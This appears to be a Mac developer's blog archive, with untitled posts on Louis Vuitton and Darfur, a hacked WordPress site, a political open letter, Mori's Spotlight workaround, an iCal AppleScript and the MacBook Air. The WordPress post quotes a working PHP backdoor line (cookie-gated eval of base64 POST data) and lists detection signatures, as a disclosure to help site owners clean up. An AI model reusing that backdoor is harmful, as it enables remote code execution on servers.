As I wrote on Jeremiah’s blog,

Luxury brands do not have the luxury of remaining silent. They are the expressiveness of the well-heeled, for whom verbalizing, “I’m richer than you.” is a sign of a lack of refinement. So LV is *required* to publicly react in this case.

Their best option would be to sponsor a forum in which the global community can participate and engage with the local Darfur community and any and all who are engaged in the atrocities or can act to prevent it; a forum which (it is hoped) effects a change, but in which, at the least, participants feel as if they’re doing something. After all, a brand which symbolizes wealth *and* power is able to wield quite a bit of both itself.

The real dilemma for a brand which positions itself as a symbol of wealth and prestige, is how to present its position on non-lifestyle topics. To say you represent the constituency of wealth and influence, yet are unable or unwilling to exert either for social and political issues is preposterous. To choose to remain out of the “conversation” regarding these matters is to invoke the legend of Marie Antoinette, who when she was told the peasants of France had no bread (according to the legend), said, “Let them eat cake.” It indicates a shallowness of character, indifference to world affairs, impotence or fear of loss, none of which can be considered admirable traits and thus worthy of public expression by the upper crust. And to be directly hostile to efforts to assist the victims of genocide is to support the perpetrators of this outrage.

No, Louis Vuitton must demonstrate their ability to act on behalf of the victims and those who would assist them, or acknowledge that they are incapable of effecting any change and allow their brand to be repositioned as the symbol of a lack of influence, power, scruples and/or purpose.

I suppose it’s fitting that Paris Hilton has become the face of Louis Vuitton.

I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there’s no evidence that the wacky WordPress system the site is now running on doesn’t have other compromised files, as well as the security holes through which the crackers originally got in.

Several compromised files had this line inserted at the beginning,

<?php if(md5($_COOKIE['_wp_debugger'])==”5fd808ac028e5197dd69318e32407eb7″){ eval(base64_decode($_POST['file'])); exit; } ?>

Others were disguised as image files, with file extensions of “pngg” and “jpgg”, and beginning with “

If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as “qwerty”, “4008deadb16536f48b84fdc70f194dac”, “find suid files”, “_wp_debugger”, “5fd808ac028e5197dd69318e32407eb7″. The signatures are sure to change, as they’re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.

All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.

In fact, as a way of making amends for any difficulty to those who couldn’t find the easter egg coupon, I’m posting it here so you won’t be hampered by the search. Our Easter mEgg Hunt coupon code is FABERGE1842, and the last day it will remain valid is April 6, 2008.

And an extra in fact, I’ll be issuing refunds for all purchases made during this period at our online store in the amount of the Easter mEgg Hunt discount [Done.]. So if you haven’t received your refund by the end of this day, please let me know and I’ll correct that for you.

If you weren’t participating in the hunt, please do, as it’s fun to watch the eggs collect in your basket as you visit the vendors taking part. Plus, you get the same 20% discount on their products as well!

Now, if you’ll excuse me, I’m going to continue hibernating for the night before resuming work on Oneill (Mori 1.7) in the morning.

Happy (Belated) Easter and Spring Season!

UPDATE 2008-03-28 5:06PM EDT: And, not really. Seems my coupon system is only using the coupon once, and then I have to reset it. I’m going to work on it some more.

But now, we’ve discovered this thing called the Internet (it’s a series of tubes), and while it’s been fun to share our home videos and prank one another, we’ve also gotten to talking with our fellow Americans. And something that keeps coming up in our conversations is that our country’s in very bad shape, and you’re not doing your job.

You had the budget thing tolerable for a while, but then you went and spent us back into a deficit. Then the terrorists attacked and things were really bad. But we supported you when you said we had to fight the Taliban in Afghanistan to get Osama bin Laden, but it’s been nearly eight years. For all the money you spent, why don’t you have bin Laden?

Then you insisted that we had to go to war with Iraq because Saddam Hussein had WMDs, but he didn’t actually have WMDs. And he went into hiding, and you found him hiding in a hole, this guy who didn’t have anything. You found him hiding in a hole, but you haven’t found bin Laden, the terrorist who funded attacks in America.

And it’s interesting that you aren’t willing send your own kids to fight this war that was so important to you. This war to protect U.S. interests, you said. The rest of us have lost loved ones and real Americans in our cities and hometowns, folks who give our small communities meaning and a sense of honor. You’ve given us draped coffins and broken men and women, some missing limbs, some missing their former souls, but you haven’t given us your own sons and daughters, nor have you given us bin Laden.

This “important” war has taken longer to finish then the Second World War, in which we fought Nazi Germany and Italy across the Atlantic, and Imperialist Japan across the Pacific. We fought three countries. Countries that had real, dedicated armies. At the same time. From an economic depression. And We won. But that’s because you weren’t in charge back then, because you can’t even beat the leftover enemies of one country that has little more than sand, and we’re paying for you to use fancy (and expensive, I might add) planes, tanks, bombs and satellites which you like to blow up. And yet you still haven’t found bin Laden.

And now our economy’s again in the toilet because folks don’t want our money. You give Canadians the right to buy normal, tasty thin American bacon instead of that round stuff they had to eat because their dollar was worth less, but you don’t give us bin Laden!

You give us airport security that hassles and harasses us, but doesn’t stop weapons from being smuggled onboard planes. You give us illegal aliens crossing our borders. You give us banks that overcharge us on fees and interest rates. You give us homes that are worth less. You give us $100/bbl oil, and $3 gas. You give us colors that tell us our phone calls can be tapped, and that we can’t take pictures of buildings because Americans are up to no good. But you still haven’t given us bin Laden.

Some of us made lists of things that we weren’t happy with, of how you haven’t been doing your job like you’re supposed to, and how you’re not helping anyone but yourselves and your friends. And we don’t like that at all. At first, some of us thought we just might be unusual, crackpots on the fringe of society. But the more we started having our own chats with others across this country, the more we realized we are not alone; that many others are fed up with the nonesense you’ve been pulling. And some started reminding us that when the Constitution talks about who the bosses are in this country, “We the people” are the ones it’s talking about.

And we’re taking charge again, as you can see.

So the 30% of us who remembered we are the bosses are getting together with the 70% of those who forgot, or felt their votes don’t count. And we’re also coordinating a united action: come November, we’re handing you your walking papers. We won’t be coughing. We won’t be throwing sweaters. We won’t be heckling you. Come November, you’re fired.

The Citizens (and real bosses) of The U.S.A

Post feature requests and bug reports so I keep track of what needs to be done to keep these products relevant to the work you do. The issue tracking system even has a polling feature which allows you to vote on the most important issues for you.

For any communication which doesn’t apply to the community of users here, I invite you to contact me via private correspondence or iChat/AIM/IRC (huperniketes).

However, if you just want to know what’s currently transpiring, and what’s going on in-between the lengthy times between my irregular posts (I’ve got a huge backlog of unfinished posts, I do apologize), there’s another way to see what I’m up to. That technique is through the Twitter service.

Here’s a simple description of how Twitter is useful for me to keep you aware of what’s going on:

Ed Yourdon, whose Techniques of Program Structure and Design revolutionized my thinking and methods in developing software, has written a great example of why I use Twitter.

I invite you to follow my tweets, or those for Mori and Clockwork product info. I also invite you to sign up and send your own message to any of those accounts.

In addition, it has what I hope are a couple of performance improvements, continued improvements to Italian localization, and a work-around for Leopard’s insistence to treat non-Apple Spotlight metadata files as third-class citizens.

Normally when Spotlight discovers a file has been created or changed, it will ask the responsible program to figure out what’s inside, and feed it back to Spotlight. But one of the drawbacks to Spotlight’s design is it lacks the ability to define containers, or documents which contain logically distinct elements such as the chapters of a book, pictures in a photo album, or entries from a Mori notebook; and which can nest other containers as well. Treating a document as a single entity, Spotlight will open a document at the beginning (or maybe the place where the cursor was the last time it was open), even if what you’re looking for is somewhere near the end.

Because it doesn’t understand that a file can have distinct elements, the development teams for other Apple software (e.g., iPhoto, Safari, Stickies, etc.) came up with a scheme to trick Spotlight by creating new files with the data for those elements. So that’s how Jesse coded Mori’s behavior: duplicate the data for that logically distinct element in its own file. A separate copy of each element’s data in its own file. One extra file per element. That means the space taken up by your data is easily half again more than if Apple just added a container definition for Spotlight metadata (once for the notebook, another for the entry metadata file, and the third copy in Spotlight’s database).

But that isn’t all. While we’d like to keep all those extra files inside a notebook bundle (a directory which Finder treats as a file), because Spotlight treats a document as a single element it won’t look for those files inside the bundle. So Mori creates those files in the metadata cache folder (in your Library/Caches/Metadata folder), along with the metadata files from some of Apple’s programs. If you open the metadata folder and look at these files, you’ll see they have numbers to help Mori figure out which entry contains that data. But when you do a search using the Spotlight menu, and when you select menu item ‘Show All’ and the results are displayed in the Finder, you won’t see the numbers; you’ll see the titles for the entries they represent.

Leopard however, isn’t so democratic; which is why users where complaining about the entries when Leopard was released. First off, it ignores any non-Apple metadata files in the cache folder unless you set your Spotlight preferences to use those files. Secondly, it will ignore the title info embedded in the entry metadata file and just display the file’s actual title, meaning the number. How’s that for Apple undermining the work of third-party developers?

So the workaround I came up with is to add the entry’s title (or Untitled, if it has none) at the beginning of the filename, so you at least have an idea which entry matches your search terms.

(Thanks for wasting about a whole month total of my development time on that alone, Apple. I feel the love.)

I am, of course, more than happy to eat crow should I be proven to be completely mistaken or speaking from out-dated information. It’s easily worth it in order to improve the user experience.

Regardless of the rationale for the design decisions, enjoy, and thank you for being part of the community and continuing to support Mori!

After a while, the tape that held the charts up on the wall would lose their adhesiveness and down they’d come…again and again, eventually falling into disuse. Having gotten a digital camera, I spent a day reassembling the crumpled remains of the charts about a week or so ago, and snapped a few shots which I present here.

There are 33 classes, and 25 protocols defined for the document back-end plugin, and quite a few supplementary category methods extending Cocoa’s foundation classes.

The user interface plugin has 85 classes, 18 protocols, and its own quantity of supplementary category methods.

At least, that’s what Mori’s classes looked like when the shots were taken. Today it looks a tad different.

Oneill, the branch for Mori 1.7 is under active development again and will bring substantial changes to the UI and back-end architecture. You shouldn’t notice any hiccups in the file format, but you should see better functionality and performance.

At least that’s what the testing support should help me do. Thankfully, I make heavy use of the Subversion SCM system. Just in case.

Working with AppleScript is generally considered iffy, because a lot seems ambiguous and so much is dependent on how the dialect is interpreted and how scriptable apps handle some of the application events which scripting is dependent on. I’ve written scripts before, some I’m pretty awed by (that it works, actually, but also what it does), but I’m still hesitant to tackle some scripting issues. In addition, being a GTD greenhorn, and an mGTD noob made trying to respond to this issue authoritatively very questionable.

Thankfully, BMEGuy, mGTD’s author and all-around community nice guy, tackled the question with a quick solution. But the updated script was still problematic, and so I felt I really needed to participate in coming up with a solution.

Again, being an mGTD noob and all, it took me at least half an hour to figure out how the plugin worked, and the script on top of that. Then, after I was able to get the script to run, it worked for me. Hmm.

But that’s because I was testing with an entry with a date due of today. Once I switched it to later in the week, the entry was still showing up for today. Isn’t that odd? It seemed I had inadvertently left in the date line from the original script. When I removed it, I witnessed the same problem.

It turns out there’s a bug in MOX 10.4.11’s iCal 2.0.5 (I’m guessing it’s present in earlier versions as well) where it doesn’t properly update the calendar display for new events made by the script. You won’t see it in the monthly view. However, you might notice a little oddness in the weekly view.

You can see the event if you add ’show theEvent’ after the script makes a new display alarm for the event (between the 2nd and 3rd ‘end tell’ up from the bottom). This will display it’s properties in the info drawer, but you won’t see the event anywhere on the calendar (in either week or month view) until iCal is restarted.

Running the script in monthly view doesn’t show any artifact in the calendar, but the data is shown in the info drawer.

You could also run the script in the weekly view and then switch to the monthly view, in which case you get this:

So now that the question of the event’s presence in the calendar was settled in my mind, I had to figure out why my faulty script displayed the event, but not the proper one; and how to coax iCal to display it.

Being unfamiliar with mGTD still, I tried to figure out the difference between the attribute name “dateDue” and due date. due date is one of the standard properties for entries in a Mori document. attribute name “dateDue” is a user column added in the example mGTD notebook. You can view them all the user columns by selecting the menu item Edit > Edit Notebook Columns…

Okay, good so far, but why would one cause iCal to display properly and not the other? After moving the due date line about for a while, I checked Script Editor’s Event Log, and saw

The event reply for the due date had a missing value! Mori wasn’t returning a value for the due date property because it wasn’t set (and wouldn’t be in the example notebook). Now I had to find a way to use one of those missing values to make theEvent visible without setting it to the wrong date. And the problem with that is most of the properties used in Mori’s entries aren’t appropriate for an iCal event.

I eventually thought about re-ordering the messages to iCal instead of being so fixated on a change in the messages to Mori or playing with the properties being set in creating the event. What I came up with was a plan to use the messed up missing value date as before to make the event visible first, and then set the date correctly. The code turned out like this:

tell application "Mori"
	tell current entry
		set theDate to (get attribute name "dateDue")
		set faultyDate to due date
		set theName to name
		set theNote to note
	end tell
end tell
tell application "iCal"
	tell calendar "Scramble" -- the user should specify the name of the target calendar here
		set theEvent to make new event at end with properties {description:theNote, summary:theName, start date:faultyDate, allday event:true}
		tell theEvent
			make new display alarm at end with properties {trigger date:theDate}
		end tell
		-- show theEvent
		set theEvent's start date to theDate
	end tell
end tell

And to my surprise, it worked! So as I began gathering the materials together for my reply to the issue, I noticed something in the event’s info drawer that had escaped my attention before:

iCal, that’s just crazy talk! But at least it would explain why it would display traces of an event, if anything at all; and why it wasn’t noticeable earlier: iCal would correct the event data when reading it in when it started (”iCal database, that’s just crazy talk!”). But somebody forgot to add a sanity check when creating a new event from the properties passed to it by our script. (This is an example of why the Once and Only Once principle should be heeded. If there’s only one place where events are synthesized from pre-recorded values, whether those values are from a stored file, a script or the UI, then all those code paths will benefit from any sanity checks added to event creation.)

Knowing this, here’s another means of working around this bug, by sending iCal info that won’t confuse it:

tell application "Mori"
	tell current entry
		set theDate to (get attribute name "dateDue")
		-- set faultyDate to due date
		set theName to name
		set theNote to note
	end tell
end tell
tell application "iCal"
	tell calendar "Scramble" -- the user should specify the name of the target calendar here
		set theEvent to make new event at end with properties {description:theNote, summary:theName, start date:theDate, end date:(theDate + 1), allday event:true}
		tell theEvent
			make new display alarm at end with properties {trigger date:theDate}
		end tell
		-- show theEvent
		-- set theEvent's start date to theDate
	end tell
end tell

Thinking about these two solutions it’s clear that picking the latter one, with well-formed properties, is the safest choice to make. Here’s additional proof: the first solution, the one which plays with the start date to make the event appear, will indeed make the event appear. But if there’s less than 24 hours until the event begins, it will appear on the wrong date and still require iCal to be restarted to appear in the proper location!

It just goes to show you, while you might be able to get away with just the barest minimum, and someone else might normally clean up after you, it’s best if you did the job correctly from the start in case your safety net disappears from under you.

• It isn’t a tablet.

  The tablet interface opens up a whole new range of apps (just look at what changes the touchscreen interface has brought to the mobile market.) I could be so much more productive with a tablet. I promise.

• Lack of replaceable battery.

  Will I be able to get to an outlet in five hours? Would I have been able to find a spare battery in three years’ time when the charge goes down to 2?

• 1.6GHz CPU?

  Are you kidding me? Weren’t we looking forward to the 3GHz PowerPC G5 more than four years ago?

• FireWire!

  Why has Apple abandoned the IEEE1394 spec it created?

• Gigabit Ethernet

  In fact, any ethernet at all! Something, at least, which has better performance than WiFi!

Others complained about the hard drive capacity being only 80GB, and the solid-state drive (SSD) being so expensive. I don’t care. As a laptop, it wouldn’t be where I do the bulk of my work or computing. It would only be for away-from-the-desk computing.

When I saw the announcement, and the pics, I knew it was a computer for lightweights. It isn’t meant for power users. It isn’t meant for programmers. It’s meant for folks whose computing needs just aren’t driven by applications which demand horsepower.

Joe Goh, the developer behind Phone Journal, replied, “Definitely not just trendy. Lots of people I know won’t carry a portable computer otherwise. Its going to be a hit with ladies”, which proves my point exactly. If you haven’t already needed to carry around a laptop, particularly one like the less expensive and more powerful MacBook, why would you start with this model?

So, although I saw that the userbase for the Mac was going to explode through the MBA, as a user, it just wasn’t my type of machine.

But as I was reading Wil Shipley’s take on it, the notoriously name-dropping blogger and lead developer of Delicious Library, and how he was going to buy one for himself, I realized there was something special about that solid-state drive.

This is a picture of a 256K Dynamic RAM memory card for an S-100 computer. It’s the sort of thing we used back in the late 1970s. Typical of gadget freaks, it was more power than the CPU could directly handle, so the excess had to be put to use somehow: RAMDisk.

Back in those days, microcomputers generally used floppy drives: storage devices that stored information on portable media that resembled CD-Rs *inside* its jewelry case; except the floppies stored up to 800KB, looked dark brown because they were actually coated with rust, and were 5.25″-8″ in size! These things were large, and slow. Things were better if you could afford the $3,000 for a 5MB hard drive because they were faster and stored a tad more info, but the majority of us users were stuck with the less-expensive, and slower, floppy drive.

Ah, but that extra RAM came in handy here. Once you loaded in some RAMDisk software onto your micro, your RAMDisk would give you performance that blew away even those speedy hard drives. Instead of putting up with the slow grinding-grinding of the floppy drive while you were working, the RAMDisk would buffer the data the first time it was read from the floppy, then blast it into application memory whenever it was needed. You would wonder just how well it worked when you didn’t hear the drives spinning and grinding as before, but when the results came up, you knew it worked fabulously.

And it wouldn’t take long for the results to appear. Performance was thousands times better. You wouldn’t have to go to lunch when you ran the assembler anymore. It was now fast enough to give you just enough time to grab some coffee. It was that fast.

The MBA’s optional SSD will give you that level of performance boost. While hard drives were a couple order of magnitudes faster than floppies, they were still orders of magnitude slower than RAM. While hard drives have improved in performance, so has RAM. Just as adding more RAM to your computer will give a bigger performance increase than adding a faster processor, substituting that power-draining, mechanical hard drive completely with a solid-state device will give a phenomenal performance gain.

While you might complain about 64GB being miniscule(!), the real caveat is that these flash devices that make up the SSD have a limited lifetime. 300K to 400K writes. That’s not a paltry amount, but it is still something to keep in mind.

So now that I think about it, the MBA has one significant advantage for one particular power-user niche: the developer. It doesn’t have the raw CPU horsepower we crave. It doesn’t have the ability to do gigabit ethernet connections to our networks. It doesn’t have separate communication busses for main and video memory. It doesn’t even have a tablet interface. But it does have a honkin’ 64GB drive with no moving parts.

I guess when I get enough money, I’ll have to plunk down for an MBA after all. After they come out with a Rev. B. Hopefully, they’ll have a 128GB SSD option by then!

I had hoped for a quick release to get the fix out to those who are upgrading now (particularly from older, Hog Bay Software versions), but I had upgraded my Xcode installation mid-stream, which is generally a bad idea if you can’t test the effects a tool migration will have on your projects. And Mori is quite unique in the way it’s constructed, being almost entirely plugins, and plugins which run plugins.

It took a week to resolve unit testing problems, some of which were due to Mori’s unique project files, some of which were due to changes in the layout of Xcode’s tools directories and one due to a bug in the unit tests for the ‘Check and Repair Notebooks’ functionality (which I wasn’t going to risk going out with a bug whose cause I hadn’t determined).

Anyway, testing problems aside, I’m packaging the latest for release now. You’ll be able to read the release info shortly.